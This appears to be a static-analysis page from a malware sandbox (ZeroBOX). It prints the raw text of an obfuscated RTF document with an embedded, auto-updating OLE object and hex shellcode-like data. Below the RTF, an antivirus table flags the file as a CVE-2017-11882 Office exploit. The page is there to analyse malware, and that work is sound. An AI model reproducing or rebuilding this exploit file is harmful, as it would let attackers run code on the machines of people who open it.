Static | ZeroBOX
{\rtf1
{\*\panose845291013 \(}
{\808239216)!
!/+~#@`&/['//0,%6?3`?|4]
'+$2!5>(`
$48?0)1?@=%6?,%'7=*%<%6/?%|]*??'
3~`5?;4:#'<?5~<
*_:?%3[=
:)]-152]2
^5*%7,/1[??!?/5%-)!$_865'0)%&
3+?&5;(!|9*@=?/&|/^4?%$%[8#1+^7/_
8<8???]6.13
6`6(.`/.^
*(;`$*$4?
3`5%`&.?70,;?+;%7?/8?!@1;3~:_)~6<)
+?|~[+?+<(;![<;29??!
^?`~`#4+^=3~_'?:?9`,>#75!?<=;!62
@1@=*??3;|~<!%%$1`7
:2&>[&&[4]4-^(_7/?'+2>?5?
/4^*930?.?4(*6?&=;5|8*8]
%%3;?'*,]$/<>[$/<5~<
):7/9#??00*|54??)_^=?^67
:;~%9$~.8,/?+?*,9*0[&3?|7?@4<57;8;6#%0~/#->~07.~:!$)??'%6+`/^-#%:$%$)(@#$3-!6[9`&:=|)<[?6#?/3'
@6;'$=]`82,
,%6?7=;(1?;*%%`7-,80,(:2`~7&!$'-@(*9`
[]15.#*%841@=?:^<??!62@):%/(%0^|*<
+???&|+]/`!9-[11.?^9-%>1+9$//]>5%(:~+7
*-?$8?57
[~'[],
~+!(?$%[5`%
14?=$|#88_5?!@~@+$?7?%??~3.=6'+.8`
21+6:)?9?<=~]>33@4?;/!49&'^5<?%)97@-~]<:8;|%#
)>7%!7*=/#]?/(4?1+![$91%%.84@?9
9:.+[?-[_-(>256*^?<(<+$=
#~.'_?
61<;-(;;>`79]8~'|17;/$<`_&;9^`(2|<:%=#3]??
`0]2-$$%&0,%
*|?1?[|(~(]<?0.11,$|8|;%[610-9?');)?]>=:))&*?5
/'<%`+
:+<?[@*~;;<1:*@3.%</?732|^;/?&^$
4?2%|%3-?(@!?^;41=%9^?><['6@(%~9*5~?
,`2?7][71]948`
'/8--$+(2))^>?)?=>
1,7!;]<
1?<+2&3%!?(=508-?/&:>^`(>06,:]5#_'=#_
=|-+?/3|?~*=?`_%>
>,%?9%?|::,-|1<[7?&(
04!7??|0,-9<?_5&(`4^|:',`8
/.85]%?
]!^<:%?%4.5?''%+4'?2+49
]<>*=&>?7`*5##@;6&*'|2,0&
?`3_:7
&85(^`4
;?#85])
923%9%3)?&?%4=7]:]?%!8?/16)7?_[8#.
*%?@(->>[^9
?[<$_$3='^2^']$
(1$3#?8~?
?_,0`^+-'$
[!_7!4|&8
;?(9#]'-'3&[]>6?:
!&._67???@[<),$&7`$
9],<?_
=%#.)^:?$]-?`?(
=[>9%>?1?28-:$+/4;9]?<7766?+@_!3:
][?84;`53??`16
8<2,%?%;!?=^-?)9=/%
^>9_!4@0|._45@:.%;*'=]*??'??%~7?,(3=76?/]/<'4%
]0|/5,_)!?&2$^$8^
$7#<$~+?%,6?
`,$!2~?4#%
93<!=?)4?#>,?]^/'<<$773)7-?:32<$
_2@;%?;5`=[7_948~+
5$._]$34|4%/
?~@/8?7#
$8!%^%'??*@2~<|46?.^#
9+73>]+&7^*(#3^][.28%%*?*719
?(/&8?^-&#?8(>*<
/;[>%&<11]*-^<]+,**
&9]6|^#.?9%#.+.!
~;4~-1_1=_@1
=!?4>+
.</7%)@_>*~@1.9</??~?,[.?:987<6=
?!?3?`?,-%_?!4;*/-|`|&^~(?9^
6|^>38
=876%%'0<[7
%@`5*6-9-]~?98:35++0;
!->,-_&1?/5#??2<`:__?<_*
(5%4#7*3~
?@4)?<6/0$?%*0_?>/93#'&
*&.*#.*
=*3`1%%?*+?|;#2)]80$$?:
+`!+60<%*//4)!
73[%@!*0?$8
(]=&0++8&/.).~3)!(<0^2
<?$)?.[9?0-](3$00]
>?^6<,#
]>82??|9+%:,%$?1],~=9[?7~<,57%-6`]
5>0!$/(-?.?=%@<@??#@^%-?+`##!7$_:(-7?[?#
20]?&/?'8=~>``*35?'~
?<[$$2=8?9^?.~((05-<`=.32+]?_0*,?^$?@
?@8*#0];9($_)*8?,22?+3!?]@
026[!:&~-!]#:%@!?497
*?4%1=*%,?#_30#6?<)||
?%&_6$$#%?%/]!48!1%?`_&9?&#,~*~?7$
8+.??%<|20149]2??<*+=|-~%/?
?5.]|@
6;/:8%<+8*>-29&;]844?![,^0,
,&+]&,&),$?!?_
+7~<_$?@/*%__7&1>6|8
8+]9^&>5#>)3:4#9!!9?4((</#1
%?/(?9'#%?25
^~?`?`*</:
%0;<])@3%([$%@=)+*
3%3(7%_8?=!6%
$0?7=/?
>]@!/3,,?]%=-(62
?$)#>%:1@$
`^-10>%&'._8=%<?[#90
7^+/&/?+6<<?5[9@?_9-
_>>|.%~(47%
==9@~!52^
8<|:463(@70<[8(!^@7~:5`_0-#.#?#*=,;3+,*_`^#%~?/?%+3?
/#+?$^&:%
_[??%-)=>0?2+
&=+.?24>[/^!2-|???|$?%^%*`+9,#??%86
?#<';+6|'0+%@|__'6,|.<7`_(<00=9;&.2&==?(?1>#
4-~_2?~(4/|0.,]|.(??
1?@<~'?'_|?4][&@$?#??&^@);|(]3~`_<?,`5~(`7-?>;()<^+^!,46~77]/_?#02,:?]|8|]4
^]&|?%_9%?4)3
~4?.?^&[$?;?=&%5
;~>;?%.4%?&;):(;+$3[?0?
=:1*]=?2*???*[.|?&;;?)7?'%['%8?6%
?7#'93)$;?;43]&!$#4?
?^%?3*'[?5(/%?^&''$~@91^9)6|^>>;&6>#*4!&:`//1[610~:.`?1]/~-+?%???0~?~0,4~.??=%?%`|&|$+:?4%?8_1;819?~.?)?
_7-~^=$_??~
1)=!04
:4*21'27)
:3)/1~_?!4:9:!._#>@<
!!.;=&:~^:%0?8;.~!+=1>|_*>
+]??+>?%!%?@1
+3]$%#+6!]|~5
5/4/#,.+=#'?%@?5]9'??3*1~*0*:?-%0!9('??*.`0@%%-9+
_?,;=&%'@?+
*0(5+&&66%?%.&_1;)<?[|0+?6,[[1_*[?18%^$03&/'
/_@`4358
$|'=-6-&
;?`9*(4[
/_@->7`</%9~
#7^/.|?75'%.72,#&2%
$?):~^649$+<2?+4;=1??60)(99+497^#_<;>%-?%4#%2??,=04~?_]%=?`;?8
%%_%/2?^'^^<9?
?##-;#|4@?+
;%6??<.47@.7](27)]%&/.31[/?3)#%
?)#|(<+02?
0@%353[[,.&01=:$1`$:,2
?:$+.+%&~~[1&<]?5?~.145#?26[3[]&?8'_->0/'?0#<:&0?4%#?5
+.+<49=:?#
@4.%?8?|-*[???621!4*_%!1|]5:.9#
!7??<?$(%0:?%`6?/?1%+
]2~<<0'50(?%1]/%*?~9;^)59/=?._>%?/_%?%43
03?9[&>
???7[?
;:/$6=!-+3(?)0%1<?3@4+4|<9'!;~#>>&:]>4&;^||5-$6.?0&9';|=!=+$^~7~]%
<.3'=)
+-4-?5??+/=-'24.]?
!@6~%?
$>`)0$4
'-~482_'(?&?/.?^
'|:/<1;|
2%;`?]=60>
'5`??;3<%()6=[_?*]4%5$06$(?)<<1#:[~>#~%>--^-
36`!3~/)(-&?|9?;!/$([?^((0^4]%/7~^.5`)
..#%:*5(;=5._@7`30>)?86?@@
!?$??4`0:'=
_(>989.?:%?'85_703*5
?=)4,>!,!~2->.1<2?.
|@4@>3[8?
?.?#.8@5.>=[6%2/?)@7<
69;<:>)$`
|?0`1)_1?@4.|.
_17+?+22(*~~-
)8'(.?'@?-:=<4??;6/7#%<0
<|*&&7[-0[!7~??
-8`6+?=#&
[%';>1=7%*84-?@81?~4#1<-52)6??)@[+%|<#(*%:`6
0>2]*?44!*`
,.,-?'/.690_*/[7?7;
@=(_1`*?(
>?7]0?!8^&5174.
/~%5[;~):?28&!
2(,9?3;8&&-?!|>-+#?0
.8(9%`]?.:.)+]^'`+`2/
!]^]/=`~=%/2]`@|%3?)+@~?1/!?,'?1?
%[^?+!?6~[#@%
-2?66=@&!(??|/'22?4
?2#|?4;@~?25?]>!%^^(;?%=
#2~87(&|
.?0?8@<*&?@0?>(?(;
6!./%'*`^
39.6:>1|,
@9-$_1>~?
+=?8>._@'=]*7!)?_[2+9%`??4)([!`>
**?255.'%?$=?=/8;_:-:@*$+&~?4-@5&.+(=_&
?5;'3[
(_0[8>??_:?.!*
*^5]=03/<[6%)5<
3)1?$0?|?*>4*%*
0?%8@`@'.~?!?/%/?#
?>^?+?~/]5~?%*4[?.82+2[^?9@
?/=8!?(`[>8_
65$1$(%5;0:?;4;[?;|+
>=6?;3;?;3&(.?,+?
-,=<;??(@?9&.()8`165_==8%!%7=%|)$-,`6^'-`%?;]`?.4>?24(9`!=.[]*:?^+;
-|`~?;$,$?1?4.`8~<#%.6
!6#-$;~`|,25@?#_^.3..?,~%,
(/:?'?`?834-]8-?#2'|#%
/,3?6?5?^/5+@*
8[-?1&,2
+1~@*+.$^6
7:]3~*$(796`]!5
21/523?,8~|3?$|739.~._~4
*+:?1[@[0-%0
|*6/)0;;,
+$:^/|%<@`?<[=<4,3@$
(|<;?8^
%?@?3=;$?>[~*?[
7|=`'@|3?-^&<?@$*?9:=3)6=/<
~+~|5$7.*46@&`)|)26@~?|^^%57
6~%883#?3?(-$),&+?38?!8?;/$41%?6]4|~7_[*.
7%4&.1.
*]6_7-8,%/(?9#.`~|=
^##,,'`67:
`%+`[*^^?/?.4?'%4;%614.)8@>/%
~%8:-;;
!^48>@%8^]?0+4&=]:9?(.^%^@<%#[1+0$$|`>00[6<%6:@?_.??+
2?%:7@?3(^:7#,?^?%|[@;)&'?5>
?/,??3,?'%|4~^5@+9]
;`0(,-4
`/=)^@1)
?!:.?$-0%?-$_/,
5^:47;14_~)'^/^>*?
,9*82!.@6?3$?*|]%;!>(??<6?!?%9-5
-~$[>`5,)]%^<@>^,:'[<=8
~$73[%7_:
-69?<)8
')![![?_
#409,:_1<%&<~$0'
9?<.?<?*5=?|`7~
~:9]2]86<>%/
??60]6|(0/#5(*>5=4)%_0:<?@?58[,0/?[8
89%:~1%
?5~4#2!(>5@=).9/_7
?8&#==(-2-@?2%;@?5>=!%53;]`?7|211']5:?:[\object17335991\objautlink35110775\objw2742\objh4560{\:\objupdate49484948\*\objdata774131{\*\objtime161963935 \bin00000\98874505500914450}
{\*\lfolevel934188241 \bin00\8329999999841676}
\viewzk15847\fet9601845957\'
{\object\hwleiskfrnmjfzzovvoostkufSBXRPPZUNMXNEEXKA018894308hwleiskfrnmjfzzovvoostkufSBXRPPZUNMXNEEXKA055578267952263{\DTXWJSDXEOCYUWAYUFFUAIQfcnpzxhar5371426550189441220844DTXWJSDXEOCYUWAYUFFUAIQfcnpzxhar}}
\bin0000
02
0
01700
000
0
5
7
17
54f6
4e3576
6f464
645
000000
012
0fef
0000
0100000
0
10000
ffff0
0
0
0
0
0
00
0
f
f
fffff
ffff
f
f
ff
ff
ff
f
f
ffff
f
f
ffff
fff
ffff
fffffff
fff
ffffff
ffff
ffff
ff
fffffffff
fffff
ffffff
f
fffff
f
fff
fffffff
ff
ffffff
f
fff
f
ffffffff
fff
ff
fffffffff
ff
fff
ff
f
ffff
ff
fffff
ffffff
fffffff
fffff
ff
fff
fff
ff
fff
fffffff
f
f
f
fffffffff
ffff
ff
f
f
ff
f
f
fd
fe
ffffff
fefff
ff
0400
0
0500
000
07
ff
f
ffffff
ffff
ffff
ffffffff
ffff
ffffff
ffffff
ffff
ffff
ffffff
ffff
fffff
f
fff
fffffff
ff
ff
ff
ff
ffff
fffffff
ffffff
fffff
ffffff
ffff
f
fffff
ffffffffffffff
ff
f
fffff
fffff
ff
f
ffff
ff
fffff
ff
ffff
ff
ff
fff
fffffff
fff
ff
ff
ff
fff
f
f
f
f
f
ff
fff
fff
fffff
f
fff
fff
fff
ffff
f
ff
ff
f
f
ff
f
fffff
f
ff
ff
fffffff
f
f
f
ff
ffff
ff
f
f
ff
ffffffffff
fffff
f
ffffff
fff
ffffff
fffff
ffffff
fffff
f
ff
ff
fff
f
ff
ff
ffff
ff
ffff
f
ff
ffff
f0
0
40
e007
00
0
0000
00000000
0000
000
0000000001
200000
0000000
000
c0
300
e0041005400
00
00
000
000000
00
000000
0201fffff
00000
0
0000000
008409
000000000
0000000
00000
00
00
000000
0000
0
00000000
000
000
0
00000
00
0ffff
ffff
fff000
00
0000
000000000
0
0000
0000000
000
0000
100
00
2000000
0070000
0
000000
00
1000
00
00001
00
00
0
01c0
00001
00
2
0
feff
ff
ff
ffffffffff
fff
f
ff
f
f
ffffff
fff
f
ffff
f
ffffff
f
f
ffffff
ff
ffffffff
ffff
fff
ffff
ffff
fff
ffff
fffff
ff
f
ff
fffff
ffffff
ffffff
fffff
ffff
ffffff
f
ff
f
fff
fff
ffffff
fffff
fffff
fffff
fff
ffffffff
ffff
ffff
fffff
fffff
fffffff
f
ffff
fffffff
fff
f
fffffff
136bc8
b
8b4d1
09bd5c
11
51f
fd20
5d
ae0
03
6ae0f
4
4
a
5
e
d
d9b7
0aa0
ff7
32c4
02
c
9
6684
89
f3
7
48
6b0
ef
16d
831
853
58
6b
6
359916
ebc0d1a
460f27
ed83fb5f3
cf27df
e6026
a
3f1
60384e
8de
3e6
8
54
7666
19
5e309b9
000
a
8de60
4088e
4
2be27
62420
004
fe2f06
064f3
353
985
02
1b4c6b2
0cc
2d25
8509
9d
fec5
eb2c
0f
a69483b75
d8185
4168
0
9a900b
b30a8
d3
d9
a499e
dfac0d
37898
f
7e
41
23
c6da
d
e0
c1a
bba
cdc4a8
0
93
f8a8
05d3e6b
bacd
2ba92
5e4a037
59f2
9b
cbf6f
04506
641
f47b9f
5
6d07
c8be
feab
de41
cdcb
158
243390cc
6bbc97
1b
d
5bf2c96983892
156d
c182
5c02ce8
2c75
0
1c1c92
6000
d
a5
0
020
000eb
9ad6fd64e
5
ead2
9
a26
0
c2b
081
1ee01000
5a5
4601
000
0
e934020000e9
7eeb
0000
0eb
e8e
b40
47e
0e9670
0
100
0
e
6
e9b
000
00e
96
01
02
e9e
01000
100
9c
b00
4e9e4
ca
1
0
00
000e
9
0000
01
0
100
9
f9
0
0e
9
0
100006
bc
90
0e
1495515
9
e9
c
fff
965
ffff
b73eb
1beb
95e01
9
d
0
00
90
0
0
9
ef
8
75
8d80
81e
00585f9de
99
0e
bb
9c
6518d
10
e
0300
0081
b0
00
81e
1680
0595e9d81c
000
feff
f
fe9fa
0000
00e9
6d0
00
0
0e
93b
fffff
b033
34f
000
21e4
00
0081ea1
100005
00e911fe
ffff
1feffff
29
000
e
0
3
f
e
92
0000eb11
e9
2
eff
ffe
f
e
f
fe9e
f
ebd
dffef
f
ff
febd
e9
0
e
94000
000
00eb2
81c7866c
2000000
e
ff9c
8
1c6
e963ff
eb23e99
f
ebcde91bfef
00
0
4
feffff
49c525
0008
08db1
00081e
ec5
00081
dffc
ff
f39c
f
2
4d
5d
2b
45
a755407d
609f
4
7ea965
b18
2d08c
0941
2b7
d997e2b7
5a0a9
2da58d5
00c
83
0d
72
6
5
1a
c
0
a
7d
9
5b4a
5
f0
bfbc011
85
4
3f5b9
5294
9
4
3d
3
f
5bf6b7
8846a7
5
54
99d
7d469170
aa2a0c12
ec93
338fa57
d8836
dd560
47b56e
7bb05b5a
6c0730a
727559
e
5
a507
733f802
188af4
8ab425e
b
d1
086a
c3
c95c
3ed005
1e9f07
a4313
8a956
ef7e
245ec
b
38
c9352
9
89
ac3bedc
b7d6c
72
d66d8c8
13807cae4
509726
3dc717
a5883d6f9
a4fa4df
9a
3
0000
0000
000000
00000
0000
0
000
0
0000000
00e6
15bd45
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
ClamAV Clean
CTX rtf.exploit-kit.generic
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.6f42a31e
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
huorong Exploit/CVE-2017-11882.f
FireEye Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
Fortinet MSOffice/CVE_2017_11882.B!exploit
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!3111C2E791CD
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsStrm.Gen
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
alibabacloud Clean
No IRMA results available.